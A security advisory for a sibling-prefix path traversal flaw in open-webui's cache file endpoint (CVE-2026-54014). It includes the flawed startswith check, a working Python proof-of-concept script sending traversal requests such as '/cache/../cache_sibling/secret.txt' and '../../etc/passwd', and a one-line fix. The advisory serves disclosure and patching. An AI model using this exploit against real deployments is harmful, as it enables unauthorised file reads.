GHSA-J2C8-V969-8R5C
Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-06-17 14:16Summary
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.
Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.
Exploitation constraints
| Constraint | Detail |
|---|---|
| Auth required | get_verified_user — any user with role user or admin |
| Scope | Only sibling directories starting with cache (e.g. cache_backup, cached_models) |
| Deep traversal | Blocked — ../../etc/passwd correctly fails the startswith check |
| Absolute paths | Blocked — /etc/passwd correctly fails |
| Client normalization | httpx/browsers normalize .. client-side — must use raw HTTP or ASGI to deliver payload |
Vulnerability Details
Vulnerable function: serve_cache_file()
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
# prevent path traversal
if not file_path.startswith(os.path.abspath(CACHE_DIR)): # ← BUG: no trailing os.sep
raise HTTPException(status_code=404, detail='File not found')
if not os.path.isfile(file_path):
raise HTTPException(status_code=404, detail='File not found')
return FileResponse(file_path, headers=headers)
The bypass
CACHE_DIR = "/data/cache"
# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"
"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True ← BYPASS (because "cache_sibling" starts with "cache")
# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False ← BLOCKED
Proof of Concept
Environment
| Component | Detail |
|---|---|
| open-webui | 0.9.5 (pip installed) |
| Python | 3.11 |
| Import | from open_webui.main import app (true import, real FastAPI app) |
| Method | Raw ASGI request (bypasses httpx client-side .. normalization) |
poc.py
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)
SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
id = "poc"
email = "poc@test"
role = "user"
app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
"""Send a raw ASGI request without client-side path normalization."""
scope = {
"type": "http",
"method": "GET",
"path": path,
"query_string": b"",
"headers": [(b"host", b"localhost")],
"root_path": "",
"asgi": {"version": "3.0"},
}
response_started = False
status_code = None
body_parts = []
async def receive():
return {"type": "http.request", "body": b""}
async def send(message):
nonlocal response_started, status_code
if message["type"] == "http.response.start":
response_started = True
status_code = message["status"]
elif message["type"] == "http.response.body":
body_parts.append(message.get("body", b""))
await app(scope, receive, send)
return status_code, b"".join(body_parts)
async def main():
s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")
baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
deep_blocked = s3 == 404
print(f"package: open_webui (pip installed)")
print(f"version: 0.9.5")
print(f"function: serve_cache_file (GET /cache/{{path}})")
print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))")
print(f"bypass: startswith without trailing os.sep allows sibling-prefix match")
print()
print(f"CACHE_DIR: {CACHE_DIR}")
print(f"SIBLING: {SIBLING_DIR}")
print()
print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}")
print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}")
print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)")
print()
print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMP_DATA, ignore_errors=True)
sys.exit(0 if exploit_ok else 1)
if __name__ == "__main__":
asyncio.run(main())
PoC output
Suggested Fix
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
raise HTTPException(status_code=404, detail='File not found')
Single character fix: append os.sep to the prefix in the startswith check.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.5"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54014"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T14:16:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nA path traversal vulnerability exists in open-webui\u0027s cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` \u2014 without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed \u2014 limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` \u2014 any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked \u2014 `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked \u2014 `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side \u2014 must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get(\u0027/cache/{path:path}\u0027)\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n # prevent path traversal\n if not file_path.startswith(os.path.abspath(CACHE_DIR)): # \u2190 BUG: no trailing os.sep\n raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n if not os.path.isfile(file_path):\n raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# \u2192 \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# \u2192 True \u2190 BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# \u2192 False \u2190 BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n id = \"poc\"\n email = \"poc@test\"\n role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n scope = {\n \"type\": \"http\",\n \"method\": \"GET\",\n \"path\": path,\n \"query_string\": b\"\",\n \"headers\": [(b\"host\", b\"localhost\")],\n \"root_path\": \"\",\n \"asgi\": {\"version\": \"3.0\"},\n }\n response_started = False\n status_code = None\n body_parts = []\n\n async def receive():\n return {\"type\": \"http.request\", \"body\": b\"\"}\n\n async def send(message):\n nonlocal response_started, status_code\n if message[\"type\"] == \"http.response.start\":\n response_started = True\n status_code = message[\"status\"]\n elif message[\"type\"] == \"http.response.body\":\n body_parts.append(message.get(\"body\", b\"\"))\n\n await app(scope, receive, send)\n return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n deep_blocked = s3 == 404\n\n print(f\"package: open_webui (pip installed)\")\n print(f\"version: 0.9.5\")\n print(f\"function: serve_cache_file (GET /cache/{{path}})\")\n print(f\"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))\")\n print(f\"bypass: startswith without trailing os.sep allows sibling-prefix match\")\n print()\n print(f\"CACHE_DIR: {CACHE_DIR}\")\n print(f\"SIBLING: {SIBLING_DIR}\")\n print()\n print(f\"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}\")\n print(f\"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}\")\n print(f\"[control] /cache/../../etc/passwd status={s3} (should be 404)\")\n print()\n print(f\"result: {\u0027VULNERABLE\u0027 if exploit_ok and baseline_ok and deep_blocked else \u0027NOT CONFIRMED\u0027}\")\n\n shutil.rmtree(TEMP_DATA, ignore_errors=True)\n sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.",
"id": "GHSA-j2c8-v969-8r5c",
"modified": "2026-06-17T14:16:25Z",
"published": "2026-06-17T14:16:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.